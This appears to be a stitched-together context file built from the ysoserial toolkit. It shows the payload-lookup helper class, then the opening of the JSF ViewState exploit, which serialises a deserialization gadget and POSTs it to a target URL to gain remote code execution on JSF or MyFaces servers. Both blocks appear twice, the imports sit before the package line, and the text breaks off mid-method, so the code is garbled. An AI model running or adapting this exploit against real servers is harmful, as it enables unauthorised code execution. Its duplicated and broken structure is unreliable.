// Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
// 
//     // get payload classes by classpath scanning
//     public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
//         final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
//         final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
//         for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
//             Class<? extends ObjectPayload> pc = iterator.next();
//             if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
//                 iterator.remove();
//             }
//         }
//         return payloadTypes;
//     }
// 
// 
//     @SuppressWarnings ( "unchecked" )
//     public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
//         Class<? extends ObjectPayload> clazz = null;
//         try {
//             clazz = (Class<? extends ObjectPayload>) Class.forName(className);
//         }
//         catch ( Exception e1 ) {}
//         if ( clazz == null ) {
//             try {
//                 return clazz = (Class<? extends ObjectPayload>) Class
//                         .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
//             }
//             catch ( Exception e2 ) {}
//         }
//         if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
//             clazz = null;
//         }
//         return clazz;
//     }
// 
// 
//     public static Object makePayloadObject ( String payloadType, String payloadArg ) {
//         final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
//         if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
//             throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
// 
//         }
// 
//         final Object payloadObject;
//         try {
//             final ObjectPayload payload = payloadClass.newInstance();
//             payloadObject = payload.getObject(payloadArg);
//         }
//         catch ( Exception e ) {
//             throw new IllegalArgumentException("Failed to construct payload", e);
//         }
//         return payloadObject;
//     }
// 
// 
//     @SuppressWarnings ( "unchecked" )
//     public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
//         if ( payload instanceof ReleaseableObjectPayload ) {
//             ( (ReleaseableObjectPayload) payload ).release(object);
//         }
//     }
// 
// 
//     public static void releasePayload ( String payloadType, Object payloadObject ) {
//         final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
//         if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
//             throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
// 
//         }
// 
//         try {
//             final ObjectPayload payload = payloadClass.newInstance();
//             releasePayload(payload, payloadObject);
//         }
//         catch ( Exception e ) {
//             e.printStackTrace();
//         }
// 
//     }
// }


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
package ysoserial.exploit;






/**
 * JSF view state exploit
 * 
 * Delivers a gadget payload via JSF ViewState token.
 * 
 * This will only work if ViewState encryption/mac is disabled.
 * 
 * While it has been long known that client side state saving
 * with encryption disabled leads to RCE via EL injection,
 * this of course also works with deserialization gadgets.
 * 
 * Also, it turns out that MyFaces is vulnerable to this even when 
 * using server-side state saving
 * (yes, please, let's (de-)serialize a String as an Object).   
 * 
 * @author mbechler
 *
 */
public class JSF {

    public static void main ( String[] args ) {

        if ( args.length < 3 ) {
            System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
            System.exit(-1);
        }

        final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);

        try {
            URL u = new URL(args[ 0 ]);

            URLConnection c = u.openConnection();
            if ( ! ( c instanceof HttpURLConnection ) ) {
                throw new IllegalArgumentException("Not a HTTP url");
            }

            HttpURLConnection hc = (HttpURLConnection) c;
            hc.setDoOutput(true);
            hc.setRequestMethod("POST");
            hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
            OutputStream os = hc.getOutputStream();

            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
// 
//     // get payload classes by classpath scanning
//     public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
//         final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
//         final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
//         for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
//             Class<? extends ObjectPayload> pc = iterator.next();
//             if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
//                 iterator.remove();
//             }
//         }
//         return payloadTypes;
//     }
// 
// 
//     @SuppressWarnings ( "unchecked" )
//     public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
//         Class<? extends ObjectPayload> clazz = null;
//         try {
//             clazz = (Class<? extends ObjectPayload>) Class.forName(className);
//         }
//         catch ( Exception e1 ) {}
//         if ( clazz == null ) {
//             try {
//                 return clazz = (Class<? extends ObjectPayload>) Class
//                         .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
//             }
//             catch ( Exception e2 ) {}
//         }
//         if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
//             clazz = null;
//         }
//         return clazz;
//     }
// 
// 
//     public static Object makePayloadObject ( String payloadType, String payloadArg ) {
//         final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
//         if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
//             throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
// 
//         }
// 
//         final Object payloadObject;
//         try {
//             final ObjectPayload payload = payloadClass.newInstance();
//             payloadObject = payload.getObject(payloadArg);
//         }
//         catch ( Exception e ) {
//             throw new IllegalArgumentException("Failed to construct payload", e);
//         }
//         return payloadObject;
//     }
// 
// 
//     @SuppressWarnings ( "unchecked" )
//     public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
//         if ( payload instanceof ReleaseableObjectPayload ) {
//             ( (ReleaseableObjectPayload) payload ).release(object);
//         }
//     }
// 
// 
//     public static void releasePayload ( String payloadType, Object payloadObject ) {
//         final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
//         if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
//             throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
// 
//         }
// 
//         try {
//             final ObjectPayload payload = payloadClass.newInstance();
//             releasePayload(payload, payloadObject);
//         }
//         catch ( Exception e ) {
//             e.printStackTrace();
//         }
// 
//     }
// }


// Path: src/main/java/ysoserial/exploit/JSF.java
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.ObjectPayload.Utils;

package ysoserial.exploit;






/**
 * JSF view state exploit
 * 
 * Delivers a gadget payload via JSF ViewState token.
 * 
 * This will only work if ViewState encryption/mac is disabled.
 * 
 * While it has been long known that client side state saving
 * with encryption disabled leads to RCE via EL injection,
 * this of course also works with deserialization gadgets.
 * 
 * Also, it turns out that MyFaces is vulnerable to this even when 
 * using server-side state saving
 * (yes, please, let's (de-)serialize a String as an Object).   
 * 
 * @author mbechler
 *
 */
public class JSF {

    public static void main ( String[] args ) {

        if ( args.length < 3 ) {
            System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
            System.exit(-1);
        }

        final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);

        try {
            URL u = new URL(args[ 0 ]);

            URLConnection c = u.openConnection();
            if ( ! ( c instanceof HttpURLConnection ) ) {
                throw new IllegalArgumentException("Not a HTTP url");
            }

            HttpURLConnection hc = (HttpURLConnection) c;
            hc.setDoOutput(true);
            hc.setRequestMethod("POST");
            hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
            OutputStream os = hc.getOutputStream();

            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(payloadObject);